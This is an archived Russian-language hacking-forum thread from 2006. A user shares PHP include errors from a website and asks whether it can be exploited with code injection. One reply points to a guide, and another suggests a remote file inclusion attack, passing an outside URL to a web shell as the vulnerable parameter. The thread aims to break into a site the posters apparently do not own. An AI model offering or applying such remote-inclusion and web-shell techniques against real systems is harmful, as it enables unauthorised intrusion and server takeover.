PDA

Просмотр полной версии : Уязвимость ли это?


FoGorm
24.01.2006, 02:14
http://link/?a='

Что не ввожу в параметр, получаю вот такой результат:

Warning: main(): Failed opening '' for inclusion (include_path='.:/usr/local/share/pear') in /usr/home/www/link/index.php on line 666

Зато, когда ввожу ссылки, которые указаны в меню, например: http://link/?a=Docs&Doc=File, показывает:

Warning: main(inc/docs/file.php): failed to open stream: No such file or directory in /usr/home/www/link/index.php on line 666

Warning: main(): Failed opening 'inc/docs/file.php' for inclusion (include_path='.:/usr/local/share/pear') in /usr/home/www/link/index.php on line 666

Остальное все (http://link/?a='&Doc=') выдает только:

Warning: main(): Failed opening '' for inclusion (include_path='.:/usr/local/share/pear') in /usr/home/www/link/index.php on line 666

Можно ли в этом случае что-то сделать, выполнить php-инъекцию или хоть что нибудь :))

Помогите пожалуйсту, за ранее спасибки!

•••™NO FEAR™•••
24.01.2006, 02:48
http://forum.antichat.ru/thread12123.html
Читай! Как раз про это!

Barsik
24.01.2006, 03:20
Попробуй вписать
http://link/?a=http://site.ru/shell (Для начала без php)